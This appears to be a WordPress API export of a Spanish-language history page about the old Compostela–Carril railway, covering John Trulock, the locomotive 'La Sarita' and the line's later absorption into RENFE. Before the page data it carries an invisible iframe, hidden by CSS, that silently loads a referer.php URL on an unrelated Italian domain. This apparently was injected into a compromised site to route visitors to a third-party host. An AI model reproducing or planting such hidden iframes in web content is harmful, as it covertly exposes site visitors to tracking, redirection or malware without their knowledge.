<iframe style="visibility: hidden; display: none; display: none;" src="http://www.benesserepuglia.it/referer.php?id={ECF6BAD7-0C1D-444A-8CC1-8A4C59349583}"></iframe>{"id":8988,"date":"2017-01-21T20:55:07","date_gmt":"2017-01-21T19:55:07","guid":{"rendered":"http:\/\/vieja.parquefluvialdesantiago.org\/?page_id=8988\/"},"modified":"2017-02-22T12:50:28","modified_gmt":"2017-02-22T11:50:28","slug":"a-posteriori-gl","status":"publish","type":"page","link":"https:\/\/vieja.parquefluvialdesantiago.org\/es\/a-posteriori-gl\/","title":{"rendered":"A Posteriori"},"content":{"rendered":"\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-a17a3f23fac08b7dbd7be16eed35addd\">\n.avia-section.av-av_section-a17a3f23fac08b7dbd7be16eed35addd{\nbackground-color:#edae44;\nbackground-image:unset;\n}\n<\/style>\n<div id='av_section_1'  class='avia-section av-av_section-a17a3f23fac08b7dbd7be16eed35addd main_color avia-section-small avia-no-shadow  avia-builder-el-0  el_before_av_one_full  avia-builder-el-first  avia-bg-style-scroll container_wrap sidebar_right'  ><div class='container av-section-cont-open' ><main  role=\"main\" itemprop=\"mainContentOfPage\"  class='template-page content  av-content-small alpha units'><div class='post-entry post-entry-type-page post-entry-8988'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-c7f03071b9c222ec17ab3dcb4db3459f\">\n#top .av-special-heading.av-av_heading-c7f03071b9c222ec17ab3dcb4db3459f{\npadding-bottom:14px;\ncolor:#ffffff;\n}\nbody .av-special-heading.av-av_heading-c7f03071b9c222ec17ab3dcb4db3459f .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-c7f03071b9c222ec17ab3dcb4db3459f .special-heading-inner-border{\nborder-color:#ffffff;\n}\n.av-special-heading.av-av_heading-c7f03071b9c222ec17ab3dcb4db3459f .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-c7f03071b9c222ec17ab3dcb4db3459f av-special-heading-h1 custom-color-heading blockquote modern-quote  avia-builder-el-1  avia-builder-el-no-sibling '><h1 class='av-special-heading-tag'  itemprop=\"headline\"  >A POSTERIORI\u2026<\/h1><div class='av_custom_color av-subheading av-subheading_below'><p>Alrededor de la estaci\u00f3n de Cornes, se levantan almacenes de aceite, vino, carb\u00f3n, fruta, sal, madera, cemento, etc.<\/p>\n<\/div><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div>\n<\/div><\/div><\/main><!-- close content main element --><\/div><\/div><div id='after_section_1'  class='main_color av_default_container_wrap container_wrap sidebar_right'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-small alpha units'><div class='post-entry post-entry-type-page post-entry-8988'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_full-2a36df390e04ca71c3d5f5a11ee37b19\">\n.flex_column.av-av_one_full-2a36df390e04ca71c3d5f5a11ee37b19{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_full-2a36df390e04ca71c3d5f5a11ee37b19 av_one_full  avia-builder-el-2  el_after_av_section  el_before_av_two_fifth  avia-builder-el-first  first no_margin flex_column_div '     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><p style=\"text-align: justify;\">Los vecinos de Compostela aprovechaban los primeros trenes especiales para ir a la playa o hasta el santuario de la Esclavitud.<\/p>\n<p style=\"text-align: left;\">En 1882, la gerencia de la compa\u00f1\u00eda pasa a manos de John Trulock, abuelo de Camilo Jos\u00e9 Cela. Trullock dirigi\u00f3 durante a\u00f1os la compa\u00f1\u00eda, y para dinamizar su explotaci\u00f3n plante\u00f3 refundir la sociedad El Compostelano en otra nueva y ampliar la l\u00ednea a Pontevedra, lo que conseguir\u00eda en 1889.<\/p>\n<\/div><\/section><\/div>\n<div class='flex_column_table av-av_two_fifth-c8d262d7c713c97bf6ddb2b4d9cd3e20 sc-av_two_fifth av-equal-height-column-flextable'>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_two_fifth-c8d262d7c713c97bf6ddb2b4d9cd3e20\">\n.flex_column.av-av_two_fifth-c8d262d7c713c97bf6ddb2b4d9cd3e20{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_two_fifth-c8d262d7c713c97bf6ddb2b4d9cd3e20 av_two_fifth  avia-builder-el-4  el_after_av_one_full  el_before_av_three_fifth  first no_margin flex_column_table_cell av-equal-height-column av-align-middle av-zero-column-padding column-top-margin'     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-edb9474d0fb2c053888cb2484cef2cdd\">\n.avia-image-container.av-av_image-edb9474d0fb2c053888cb2484cef2cdd img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-edb9474d0fb2c053888cb2484cef2cdd .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-edb9474d0fb2c053888cb2484cef2cdd av-styling- avia-align-center  avia-builder-el-5  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" class='wp-image-9189 avia-img-lazy-loading-not-9189 avia_image ' src=\"https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/01\/ponteferrocarril-carrilcornes-300x217.jpg\" alt='Molinos de Pombo y Puente de Hierro en Conxo (a\u00f1o 1935)' title='Molinos de Pombo y Puente de Hierro en Conxo (a\u00f1o 1935)'  height=\"217\" width=\"300\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/01\/ponteferrocarril-carrilcornes-300x217.jpg 300w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/01\/ponteferrocarril-carrilcornes-768x556.jpg 768w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/01\/ponteferrocarril-carrilcornes-1030x745.jpg 1030w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/01\/ponteferrocarril-carrilcornes-705x510.jpg 705w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/01\/ponteferrocarril-carrilcornes-450x326.jpg 450w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/01\/ponteferrocarril-carrilcornes.jpg 1200w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/div><\/div><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-531d5d4d3d3a74d4c56d8363993d8877\">\n.flex_column.av-av_three_fifth-531d5d4d3d3a74d4c56d8363993d8877{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_three_fifth-531d5d4d3d3a74d4c56d8363993d8877 av_three_fifth  avia-builder-el-6  el_after_av_two_fifth  el_before_av_one_full  no_margin flex_column_table_cell av-equal-height-column av-align-middle av-zero-column-padding column-top-margin'     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><blockquote>\n<p>La locomotora que consigui\u00f3 mayor fama entre Compostela y Carril se denominaba \u201cSar\u201d en honor a nuestro r\u00edo y fue popularmente rebautizada c\u00f3mo \u201cLa Sarita\u201d. Era la locomotora del gerente Trullock, y en la actualidad es uno de los iconos de esta l\u00ednea ya desaparecida. Hizo el \u00faltimo viaje en 1968 en el trayecto Vigo-Vilagarc\u00eda.<\/p>\n<p>Ram\u00f3n Mar\u00eda del Valle-Incl\u00e1n fue otra de las figuras literarias vinculadas al ferrocarril, pues su padre, el escritor Ram\u00f3n Valle Berm\u00fadez fue accionista y secretario del consejo de administraci\u00f3n del ferrocarril compostelano.<\/p>\n<\/blockquote>\n<\/div><\/section><\/div><\/div><!--close column table wrapper. Autoclose: 1 --><\/p>\n<div class='flex_column_table av-av_one_full-e1f1fa21ba9d0c430a736c5e27c36825 sc-av_one_full av-equal-height-column-flextable'>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_full-e1f1fa21ba9d0c430a736c5e27c36825\">\n.flex_column.av-av_one_full-e1f1fa21ba9d0c430a736c5e27c36825{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_full-e1f1fa21ba9d0c430a736c5e27c36825 av_one_full  avia-builder-el-8  el_after_av_three_fifth  el_before_av_textblock  first no_margin flex_column_table_cell av-equal-height-column av-align-top av-zero-column-padding '     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><p style=\"text-align: justify;\">En 1886 la compa\u00f1\u00eda cambia su nombre por el de \u201cThe West Galicia Railway Company Limited\u201d, posteriormente reducida a \u201cThe West Galicia\u201d, y popularmente conocida como la \u201cTe-Bes\u201d. Adem\u00e1s, la compa\u00f1\u00eda traslad\u00f3 su domicilio social a Londres, as\u00ed como el Consejo de Administraci\u00f3n, aunque la Gerencia estuvo siempre en Vilagarc\u00eda.<\/p>\n<p style=\"text-align: justify;\">En 1928, la compa\u00f1\u00eda gallega es absorbida por MZOV, y esta posteriormente, por la Compa\u00f1\u00eda Nacional de Los Ferrocarriles del Oeste de Espa\u00f1a, que se integrar\u00e1 en la reci\u00e9n constituida RENFE en 1941.<\/p>\n<p style=\"text-align: left;\">En el a\u00f1o 1992 cierran definitivamente los talleres ferroviarios creados en Vilagarc\u00eda de Arousa en 1880, y finalmente en 2007, con la entrada en servicio del nuevo trazado de la l\u00ednea del \u201cEje Atl\u00e1ntico\u201d, se cierra el viejo apeadero y antigua estaci\u00f3n de Casal.<\/p>\n<\/div><\/section><\/div><\/div><!--close column table wrapper. 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